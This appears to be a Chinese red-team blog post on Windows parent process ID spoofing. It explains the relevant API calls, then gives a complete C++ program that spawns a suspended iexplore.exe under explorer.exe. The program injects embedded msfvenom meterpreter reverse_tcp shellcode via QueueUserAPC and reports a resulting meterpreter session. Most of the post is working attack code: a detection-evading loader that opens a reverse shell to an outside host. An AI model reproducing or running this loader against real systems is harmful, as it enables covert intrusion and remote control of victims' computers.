父进程伪造

红队

创建时间:2020-10-23 14:27

阅读:

伪造父进程的关键点：

1. 寻找explorer.exe的pid，打开文件管理器的进程获取句柄 （寻找你要伪造进程的PID）
2. 初始化指定的属性列表以创建进程和线程
3. 设置进程属性

关键函数主要是:

OpenProcess
InitializeProcThreadAttributeList
CreateProcess

还有个重要的结构体:STARTUPINFOEXA
https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/ns-winbase-startupinfoexa
STARTUPINFOEXA结构体，微软文档定义如下：

typedef struct _STARTUPINFOEXA {
  STARTUPINFOA                 StartupInfo;
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;

InitializeProcThreadAttributeList用于初始化指定的属性列表以创建进程和线程
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-initializeprocthreadattributelist

BOOL InitializeProcThreadAttributeList(
  LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
  DWORD                        dwAttributeCount,
  DWORD                        dwFlags,
  PSIZE_T                      lpSize
);

父进程伪造部分代码

STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;

HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); //打开explorer进程获取当前进程所有权限

ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); //用0填充数组
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); //第一次设置属性的数量
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); //设置进程属性
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); //更新用于进程和线程创建的属性列表中的指定属性。
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

getParentProcessID函数用于寻找要伪造父进程pid

DWORD getParentProcessID() { //返回explorer.exe的pid
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            //If you want to another process as parent change here
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

(使用APC的方式执行shellcode)
完整代码如下

#include "stdafx.h"
#include <windows.h>
#include <TlHelp32.h>
#include <iostream>

DWORD getParentProcessID() { //返回explorer.exe的pid
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            //If you want to another process as parent change here
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {

    //Shellcode, for example; msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x.x.x.x EXITFUNC=thread -f c
    unsigned char shellCode[] =
        "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52"
        "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
        "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
        "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
        "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
        "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b"
        "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b"
        "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41"
        "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1"
        "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45"
        "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b"
        "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
        "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48"
        "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
        "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00"
        "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5"
        "\x49\xbc\x02\x00\x11\x5c\xc0\xa8\x71\x91\x41\x54\x49\x89\xe4"
        "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68"
        "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a"
        "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89"
        "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
        "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba"
        "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5"
        "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9"
        "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5"
        "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41"
        "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41"
        "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
        "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8"
        "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40"
        "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5"
        "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c"
        "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41"
        "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5";




    STARTUPINFOEXA sInfoEX;
    PROCESS_INFORMATION pInfo;
    SIZE_T sizeT;

    HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID()); //打开explorer进程获取当前进程所有权限

    ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA)); //用0填充数组
    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT); //初始化指定的属性列表以创建进程和线程
    sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT); //设置进程属性并从堆中分配内存
    InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
    UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL); //更新用于进程和线程创建的属性列表中的指定属性。
    sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX), &pInfo);

    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); //分配内存
    SIZE_T *lpNumberOfBytesWritten = 0;
    BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten); //写入内存

    QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL); //APC调用
    ResumeThread(pInfo.hThread); //启动线程
    CloseHandle(pInfo.hThread); //关闭线程

    return 0;
}

效果如下
父进程是explorer.exe

meterpreter

参考链接:
https://xz.aliyun.com/t/8387

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